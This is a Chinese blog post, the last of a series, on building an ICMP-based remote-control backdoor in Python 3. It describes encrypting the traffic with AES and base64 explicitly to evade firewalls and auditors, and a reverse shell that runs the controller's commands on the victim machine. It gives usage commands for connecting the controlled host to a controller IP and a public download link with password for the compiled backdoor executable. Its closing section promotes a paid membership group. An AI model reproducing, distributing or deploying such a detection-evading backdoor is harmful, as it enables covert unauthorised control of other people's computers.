Python3实现ICMP远控后门(下)之“Boss”出场


ICMP后门


前言

第一篇:Python3实现ICMP远控后门(上)

第二篇:Python3实现ICMP远控后门(上)_补充篇

第三篇:Python3实现ICMP远控后门(中)之“嗅探”黑科技


熬到最后一篇了,本系列的Boss要出场了,实现了一个有意思的ICMP后门,暂时使用pyinstaller打包成了一个win32和64版本,如下图所示。


在前几篇的基础上,本篇扩展的知识点为数据的加密和解密,以及shell的调用,并最终生成一个可用的ICMP后门。



本篇总共分为五节,需要花费5分钟时间。


第一节 通信的加密与解密  

ICMP远控采用的是ICMP协议进行通信,为了确保通信的保密性,防止防火墙或者审计人员探测出控制信息,决定对ICMP数据域的内容进行加密处理。


本次采用的是AES加密与base64编码相结合的方式。AES为最常见的对称加密算法(微信小程序加密传输就是用这个加密算法的)。对称加密算法也就是加密和解密用相同的密钥,具体的加解密流程如下图: 



AES只是个基本算法,实现AES有若干模式。其中的CBC模式因为其安全性而被TLS(就是https的加密标准)和IPSec(win采用的)作为技术标准。简单地说,CBC使用密码和salt(起扰乱作用)按固定算法(md5)产生key和iv。然后用key和iv(初始向量,加密第一块明文)加密(明文)和解密(密文)。


下面介绍ICMP远控的加密解密方案,对于AES加解密,这里采用CBC模式,在Python3.5及之前版本使用pycrypto‎模块,之后版本使用pycrytodome模块。


加密

先是使用AES加密,对于传入的加密内容长度必须为16的倍数,不足则补为16的倍数,我这里是设置的补为32的倍数。使用AES加密结束后,对加密后的内容进行base64编码,以便传输。



解密

先是对加密后的内容进行base64解码,接着在进行AES解密,最后去掉为了对齐填充的内容。


第二节 Shell调用

ICMP后门最基本的功能就是完成shell的调用,也就是经常说的反弹shell。反弹的shell即是受控端的shell,控制端通过ICMP协议将shell命令发送给受控端,受控端调用shell执行命令,并将命令结果通过ICMP协议回传给控制端。Python中对shell的调用如下:


第三节 程序的整体结构

代码中总共有三个类,父类Transfer,两个子类client和server。Transfer类主要完成了socket初始化,加解密,icmp协议封包的通用功能。同时提供了一个reverse方法需要子类实现。

父类Transfer


子类client



子类server



第四节 使用方法

以我生成的icmpshell_win32.exe为例,为了方便演示,开启了一个VM虚拟机,和主机组成局域网,VM虚拟机中运行的是win7 32位的系统,主机运行的是win7 64的系统。主机的ip为192.168.72.4,虚拟机的ip为192.168.72.133.

主机作为控制端,虚拟机作为受控端。首先在主机上运行如下命令(管理员权限运行)

icmpshell_win32.exe -s 192.168.72.4

其中 -s参数用于指明控制端的ip

在受控端运行如下命令(管理员权限运行)

icmpshell_win32.exe -l 192.168.72.133 -c 192.168.72.4

其中 -l参数用于指明受控端的ip,-c参数用于指明要连接的控制端的ip


受控端运行效果


控制端运行效果

执行dir命令和tasklist命令


whoami命令



注意 !注意!!注意!!!


icmpshell源代码已经优先上传到知识星球中,想看源代码的朋友请关注我的知识星球。


如果大家只是想玩一下,给大家提供了icmpshell_win32.exe的下载链接。

https://pan.baidu.com/s/1xQRyxmq6PUw6qHMU9ZKZ4g 密码:8rgu


第五节 福利大放送

关注公众号:七夜安全博客

回复【1】:领取 Python数据分析 教程大礼包
回复【2】:领取 Python Flask 全套教程 
回复【3】:领取 某学院 机器学习  教程 

回复【4】:领取 爬虫  教程 


知识星球 已经快30人了,随着人数的增多,价格之后会上涨,越早关注越多优惠。星球的福利有很多:

  • 比如上面的教程,已经提前在知识星球中分享

  • 可以发表一些问题,大家一块解决

  • 我之后写的电子书,录制的教学视频,对于知识星球的朋友都是优惠的(基本上免费)

  • 一些节假日会给大家发个红包或者赠书


  • 最后编辑于
    ©著作权归作者所有,转载或内容合作请联系作者
    【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
    平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

    相关阅读更多精彩内容

    • 简介 用简单的话来定义tcpdump,就是:dump the traffic on a network,根据使用者...
      保川阅读 11,179评论 1 13
    • 本文主要介绍移动端的加解密算法的分类、其优缺点特性及应用,帮助读者由浅入深地了解和选择加解密算法。文中会包含算法的...
      苹果粉阅读 13,962评论 5 29
    • 儿子两个多月了,这两个月里我始终没有调整好心态,没有做好角色转变,儿子睡着的时候我在一旁看着他,心里想他是谁呢? ...
      御用小厨阅读 1,702评论 2 1
    • 自从王马事件发生后,天天被刷屏。新闻网页,微信,qq消息不断。一场看客们的集体高潮,各种小道消息满天飞,阴谋论...
      fbb1173ca00c阅读 2,833评论 0 0

    友情链接更多精彩内容